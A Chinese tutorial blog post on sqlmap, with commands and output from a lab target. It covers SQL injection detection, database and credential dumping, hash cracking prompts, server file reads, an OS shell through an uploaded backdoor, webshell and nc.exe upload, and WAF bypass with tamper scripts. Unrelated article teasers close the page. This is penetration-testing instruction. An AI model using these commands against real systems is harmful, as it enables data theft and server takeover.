OWASP top10--SQL注入(四、sqlmap安装及使用)

目录

sqlmap工具安装:

工具说明:

主要功能特性包括:

基本使用示例:

先下载python2.7.9版本

 sqlmap运行

sqlmap工具使用

-u

-r

–-level=LEVEL扫描深度级别

--risk=RISK 执行测试的风险

-threads 线程数

-batch-smart智能判断测试

--mobile模拟测试手机环境站点

-m 批量注入

--force-ssl跑https网站

注入获取数据命令

获取表名

字段名

数据内容

读文件内容

系统交互的shell

写webshell

sqlmap过waf



sqlmap工具安装:

工具说明:


sqlmap 是一个强大的开源自动化工具,专门用于检测和利用SQL注入漏洞。它能够帮助安全研究人员和渗透测试人员在web应用程序中发现并利用SQL注入漏洞,进而提取数据库中的数据,甚至控制数据库服务器。Sqlmap支持多种数据库管理系统,包括但不限于MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等。


主要功能特性包括:


自动化检测:自动识别SQL注入漏洞,无需手动构造复杂的注入语句。
广泛支持:支持HTTP(S)协议,能够针对GET、POST及Cookie参数进行注入测试。
数据库指纹识别:能够识别出后端数据库类型。
数据提取:可以从数据库中提取数据,包括但不限于表、列、用户权限等。
数据库接管:在某些条件下,能够实现对数据库服务器的完全控制,执行系统命令、读写文件等。
绕过技巧:内置多种绕过WAF(Web应用防火墙)和过滤机制的技术。
多线程:支持多线程扫描,提高效率。
输出报告:能够生成XML、HTML、JSON等多种格式的扫描报告。


基本使用示例:

检测注入:
  sqlmap -u "http://example.com/vulnerable.php?id=1"
指定注入参数:
  sqlmap -u "http://example.com/vulnerable.php" --param-del "=" --data "id=1&submit=Submit"
暴力猜解数据库表名:
  sqlmap -u "http://example.com/vulnerable.php?id=1" --tables
从特定表中猜解列名:
  sqlmap -u "http://example.com/vulnerable.php?id=1" -D database_name --columns
提取特定列的数据:
  sqlmap -u "http://example.com/vulnerable.php?id=1" -D database_name -T users -C "username,password"


先下载python2.7.9版本

设置环境变量:python的安装路径和scripts路径添加到电脑环境变量


 sqlmap运行

win+R

cmd

--进入win命令行
cd C:\lan\sqlmap
--sql软件路径
sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1

sqlmap扫描历史记录文件夹目录:


sqlmap工具使用

-u

 

sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1
-- -u为get注入
--/mysql/sql.php?id=1 是请求的具体路径,其中 sql.php 是目标脚本文件,id=1 是传递给该脚本的一个参数值。
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
--输出选Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] n
--输出一般选n
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
--输出一般选n
--生产环境测到此次已完成。 

结果解读:

结果解读:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 24 HTTP(s) requests:
---
Place: GET
Parameter: id
--注入点位置:漏洞位于GET请求的'id'参数中
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7911=7911
--布尔型盲注; 此类注入依赖于响应中是否有变化来判断SQL语句的真假,从而逐位猜解数据。
    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#
--利用UNION操作符将恶意查询与原始查询结果合并,从数据库中直接提取信息。这里使用了十六进制编码来构造输出,以绕过可能的字符过滤。
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
--时间和基于OR的盲注; 通过使数据库执行一个延时操作(如SLEEP(5)),根据响应时间判断SQL语句执行情况,适合于那些仅能通过响应时间变化来判断的场景。


-r

语法:sqlmap.py -r post.txt -p 注入参数
如:sqlmap.py -r post.txt -p username,password
-- sqlmap.py是一个自动化的SQL注入工具,用于检测和利用Web应用程序中的SQL注入漏洞。
-- -r post.txt: 这个参数告诉sqlmap从指定的文件(post.txt)中读取原始HTTP请求。post.txt文件应包含一个或多个HTTP请求.
-- -p 注入参数:如果POST请求中有参数名为username和password,正确的用法应该是-p username,password。这个选项告诉sqlmap只针对列出的参数执行SQL注入测试。

–-level=LEVEL扫描深度级别

语法:sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --level 1
#执行测试的等级(1-5,默认为1);使用–-level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。

--risk=RISK 执行测试的风险

如sqlmap.py  -r C:\lan\sqlmap\1.txt  --level 3 -v 6
#-r C:\lan\sqlmap\1.txt: 使用-r参数指定一个包含HTTP请求的文件路径
#--level 3: 设置扫描的深度级别为3
#-v 6: 设置sqlmap的详细输出级别为6
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

-threads 线程数

线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10

-batch-smart智能判断测试

C:\lan\sqlmap> sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1  -batch-smart
--您的命令旨在非交互式地(即无需人工确认每一步操作)使用SQLMap对指定的Web应用程序URL进行SQL注入漏洞检测,同时希望该工具能够智能地处理测试过程中的各种情况,以提高效率和安全性。
--数据库表名、用户名、账户密码破解、数据库内容脱库保存到攻击者主机标注的目录里(违法)

1、目标URL与检测点:

目标URL为http://10.0.0.101:90/mysql/sql.php?id=1。
在GET参数id上发现了三种类型的SQL注入漏洞:
布尔型盲注(Boolean-based blind)。
联合查询注入(UNION query)。
时间延迟盲注(AND/OR time-based blind)。

2-3、数据库信息:

后端数据库管理系统(DBMS)确认为MySQL版本5.5.53,尽管在信息摘要中最初识别为5.0.11,这可能是识别或报告中的一个不一致。
当前数据库用户为root@localhost,并且此用户具有数据库管理员(DBA)权限。
当前数据库名为sql。
Web服务器操作系统为Windows,Web应用技术为PHP 5.4.45,运行在Apache 2.4.23上。
系统与用户详情:

主机名为oldboy-f74d04fe。
列出了数据库管理系统中的三个用户,均为root,分别来自不同的主机地址(127.0.0.1, ::1, localhost)
-----------------------------------说明
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
进行数据库转储操作时的详细日志输出。它显示了SQLMap如何逐个表地从指定的数据库(在这个案例中主要是performance_schema和bwapp)中提取结构和数据,并将这些信息保存为CSV文件的过程。

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
是否希望对这些哈希值进行字典攻击以尝试破解密码
[Y] 表示“是”,同意SQLMap使用内置或自定义的字典来尝试破解识别到的密码哈希。
[n] 表示“否”,不进行破解操作,仅停留在当前状态。
[q] 通常意味着“退出”,可能用于终止当前的SQLMap会话

do you want to crack them via a dictionary-based attack? [Y/n/q]
是否决定继续通过字典攻击来尝试破解已发现的密码哈希

do you want to crack them via a dictionary-based attack? [Y/n/q]
您想通过基于字典的攻击来破解它们吗?[Y/n/q]

--mobile模拟测试手机环境站点

sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1 --mobile

-m 批量注入

--force-ssl跑https网站

注入获取数据命令

--dbs  //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2


--current-user:大多数数据库中可检测到数据库管理系统当前用户
--current-db:当前连接数据库名
--is-dba:判断当前的用户是否为管理
--users:列出数据库所有所有用户 

获取表名

--tables -D 数据库名

字段名

--columns -T user -D abc

数据内容

-T user -C username,password,email --dump

读文件内容

--file-read 【/etc/password】

sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1  --file-read c://lan//1.txt

##--file-read: 这个选项告诉 sqlmap 尝试读取远程服务器上的一个文件。紧跟其后的 "c://lan//1.txt" 是指定要读取的文件路径。通常用于验证SQL注入漏洞的存在并尝试获取敏感信息。(尽量两个用反斜杠,一个反斜杠容易被反义)

##网站文件路径获取方式:1、注入报错方式 2、搜索引擎搜索

 

 

系统交互的shell

  • --os-shell

流程:
sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1  --os-shell
--os-shell: 此选项指示sqlmap尝试获取目标系统的操作系统级别的命令执行能力,即创建一个远程shell。一旦成功,攻击者就可以通过这个shell执行任意操作系统命令,从而获得对服务器的进一步控制.

[21:08:46] [INFO] retrieved the web server document root: 'C:\phpStudy\WWW'

 --这条信息表示sqlmap成功识别了Web服务器的文档根目录。文档根目录是C:\phpStudy\WWW
[21:08:46] [INFO] retrieved web server full paths: 'C:/phpStudy/WWW/mysql/sql.php'  

--这条信息意味着sqlmap确定了请求的特定文件mysql/sql.php在服务器上的完整路径

please provide additional comma separated file paths to try to upload the agent inside the possible document: c:\\phpstudy\\WWW\\
--输入上传指定目录(根目录c:\\phpstudy\\WWW\\)

[21:10:09] [INFO] the file stager has been successfully uploaded on 'C:/phpStudy/WWW' - http://10.0.0.101:90/tmpuckst.php   
--这是一个临时文件,通常用于在目标服务器上部署更复杂的恶意软件或后门。文件stager是攻击的一部分,它可能包含一个小型脚本,该脚本可以下载并执行更大的恶意代码。
[21:10:09] [INFO] the backdoor has been successfully uploaded on 'C:/phpStudy/WWW' - http://10.0.0.101:90/tmpbpnbi.php  
--这是sqlmap上传的后门文件,它可能允许攻击者通过HTTP访问来执行操作系统命令。攻击者现在可以通过http://10.0.0.101:90/tmpbpnbi.php与服务器建立交互。

os-shell> ipconfig
--sqlmap已经成功获得了目标服务器的操作系统shell。提示os-shell>让你可以输入命令来执行操作系统级别的操作,输入ipconfig会运行Windows系统中的命令,显示网络接口的配置信息。

也可根据sqlmap生成的木马文件进行通过阅览器访问木马文件进行交互:
http://10.0.0.101:90/tmpuckst.php
--阅览器访问刚才sqlmap生成的.php木马(功能小马)文件;进行上传大马(与web操作系统交互)
http://10.0.0.101:90/hao.php
--阅览器访问刚才通过tmpuckst.php上传的大马进行操作系统交互。

 方式一:sqlmap命令行与web主机交互

 

 方式二:也可根据sqlmap生成的木马文件进行通过阅览器访问木马文件进行交互:

 

 

连接成功

写webshell

--file-write  "c:/1.txt” --file-dest “C:/phpStudy/WWW/3.php” -v1     
将本机的c:/1.txt文件上传到目标服务器C:/phpStudy/WWW/3.php上(可传一句话木马)
--/*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/ 

 

sqlmap过waf

--tamper "脚本"

如sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1  --tamper "base64encode.py" -v 5 --dbs

使用多个脚本用逗号隔开:如--tamper "base64encode.py,space2plus.py"
sqlmap.py: SQLMap的主执行文件,这是一个自动化的SQL注入工具。
-u: 参数用于指定目标URL,这里是http://10.0.0.101:90/mysql/sql.php?id=1。这告诉SQLMap要测试哪个页面的SQL注入漏洞。
--tamper "base64encode.py": 使用base64encode.py篡改器。这个脚本会将请求参数(在这个例子中是id=1)通过Base64编码,以绕过可能的安全过滤或检测机制。
-v 5: 设置详细级别为5。SQLMap有0到5的详细级别,5是最详细的,会显示所有可能的信息,包括每个请求和响应。
--dbs: 这个选项让SQLMap列出目标数据库服务器上的所有可用数据库。它会尝试获取数据库管理系统(DBMS)的元数据,以发现存在的数据库名称。

 


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/21085.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙开发加强2

快速创建一个符合长度的数组 空数组 Array.from({length: 200}) // 200的长度的空数组 场景:只确定长度,不确定内容的情况 State 状态装饰器 》增强功能 数据变化了 可以引起页面的重新渲染 没有State修饰的变量,不会引起UI的刷新渲染 加…

fintuning chatglm3

chatglm3介绍 ChatGLM3-6B 是 ChatGLM 系列最新一代的开源模型,在保留了前两代模型对话流畅、部署门槛低等众多优秀特性的基础上,ChatGLM3-6B 引入了如下特性: 更强大的基础模型: ChatGLM3-6B 的基础模型 ChatGLM3-6B-Base 采用…

ic基础|时钟篇06:crg到底是什么?一文带你了解crg中的时钟系统!

大家好,我是数字小熊饼干,一个练习时长两年半的ic打工人。我在两年前通过自学跨行社招加入了IC行业。现在我打算将这两年的工作经验和当初面试时最常问的一些问题进行总结,并通过汇总成文章的形式进行输出,相信无论你是在职的还是…

基于Swing和socket实现双向通讯案例

server代码: import javax.swing.*; import java.awt.*; import java.io.*; import java.net.ServerSocket; import java.net.Socket;public class Server extends JFrame {private JTextArea messageArea;private JTextField textField;private PrintWriter write…

像艺术家一样工作:前言

名人名言 “艺术是盗窃” —— 巴勃罗毕加索 “不成熟的诗人模仿,成熟的诗人偷窃;对于偷窃得到的艺术,坏的诗人丑化它,好的诗人加入自己的理解,使它变得更好,至少会让它有点不同。最优秀的诗人&#xff0…

After Effects 2022(AE2022)支持win版和mac版下载

​After Effects 2022 是由Adobe公司推出的一款专业视频后期制作软件,它主要用于视频合成、视频特效制作、视频剪辑、动画制作等领域。After Effects 2022 内置了丰富的特效和过渡效果,用户可以通过它进行高级的视频合成和动画制作。 该软件具有直观的用…

一文搞懂分布式事务Seta-AT模式实现原理

分布式事务概念 分布式事务(Distributed Transaction) 是指在分布式系统中,涉及多个数据库、服务、消息队列等资源,并且需要保证这些资源上的操作要么全部成功提交,要么全部失败回滚的一种机制。在分布式系统中&#…

IO流---字节流.Java

一,概述 IO流是存储和读取数据的解决方案。 I:input O:output流:像水流一样传输数据 因为IO流与File是息息相关的,所以在学习IO流之前,简单回顾一下File:😄😊&#…

python对文本操作,生成可执行文件

.exe文件主要包含pingmianF.py文件和read_inp_auto.py文件 实现效果 代码 read_inp_auto.py #-*- coding: utf-8 -*- import re import sys import os import os.path import time import pingmianF from pingmianF import vector import numpy as np from tkinter import me…

GDPU JavaWeb EL与JSTL

标签化,可以简化百分号的繁忙。 标签库配置 先下载好jstl标签库,然后放到lib。接着,要让编译器识别到,因此要在模块配置依赖,这里导jar包都得注意一下模块依赖。 也可以在libraries项目库设置。 EL与JSTL查询图书 在…

2024华为OD机试真题-攀登者1-C++(C卷D卷)

题目描述 攀登者喜欢寻找各种地图,并且尝试攀登到最高的山峰。 地图表示为一维数组,数组的索引代表水平位置,数组的元素代表相对海拔高度。 其中数组元素0代表地面。 例如: [0,1,2,4,3,1,0,0,1,2,3,1,2,1,0],代表如下图所示的地图, 地图中有两个山脉位置分别为1,2,3,4,5 …

设计模式(十)结构型模式---享元模式

文章目录 享元模式简介结构UML图具体实现UML图代码实现 享元模式简介 享元模式(fly weight pattern)主要是通过共享对象来减少系统中对象的数量,其本质就是缓存共享对象,降低内存消耗。享元模式将需要重复使用的对象分为两个状态…

大学生Python自救课程总结

因为一些事情的缘故,我已经几乎没有更新很久了,然后现在快到期末了,不知道各位学习python的同志们慌不慌【坏笑】。 本学期,我只是简单的讲了讲python的基础用法。当然,可能有些地方总结的并不全面,很多知…

MyBatis中的接口代理机制及其使用

1. MyBatis中的接口代理机制及其使用 文章目录 1. MyBatis中的接口代理机制及其使用2. 实操2.1 准备工作2.2 insert 增加操作2.3 delete 删除操作2.4 update 修改操作2.5 select 查询一条记录操作2.6 select 查询多条记录操作 3. 总结:4. 最后: MyBatis …

HackTheBox-Machines--Nineveh

Nineveh测试过程 1 信息收集 NMAP 端口扫描 80 端口 80端口是服务器的默认页面,无可利用功能点,源代码没有可利用的敏感信息 目录扫描 1.http://10.129.25.123/department 访问/department目录跳转到登录页面,尝试暴力破解,获取…

嵌入式期末复习

一、选择题(20) 二、判断题(10) 三、填空题(10) 主机-目标机的文件传输方式主要有串口传输方式、网络传输方式、USB接口传输方式、JTAG接口传输方式、移动存储设备方式。常用的远程调试技术主要有 插桩/st…

NVIDIA NeMo - 训练本地化多语种 LLM

本文转载自:使用 NVIDIA NeMo 训练本地化多语种 LLM (2024年 5月 17日 By Nicole Luo and Amit Bleiweiss 第 1 部分 https://developer.nvidia.com/zh-cn/blog/training-localized-multilingual-llms-with-nvidia-nemo-part-1/ 第 2 部分 https://deve…

Cocos入门2:软件安装

Cocos Creator的安装教程如下,按照步骤进行,可以帮助您顺利安装Cocos Creator: 一、下载Cocos Dashboard 访问Cocos官网:前往Cocos Creator的官方网站(https://www.cocos.com/creator/)。 下载Cocos Dash…

重生之 SpringBoot3 入门保姆级学习(14、内容协商基础简介)

重生之 SpringBoot3 入门保姆级学习(14、内容协商基础简介) 3.3 内容协商3.3.1 基础简介3.3.2 演示效果 3.3 内容协商 3.3.1 基础简介 默认规则 基于请求头的内容协商(默认开启) 客户端向服务器发送请求,携带 HTTP 标…

20240601使用iperf3在Toybrick的TB-RK3588开发板上跑预编译的Android12测网速

20240601使用iperf3在Toybrick的TB-RK3588开发板上跑预编译的Android12测网速 2024/6/1 20:39 【常见问题】给TB-RK3588开发板刷机Androidd12之后,如果刷机线type-C不拔掉。可能起不来! 搞得我都以为板子坏了呢! rootrootrootroot-ThinkBook-…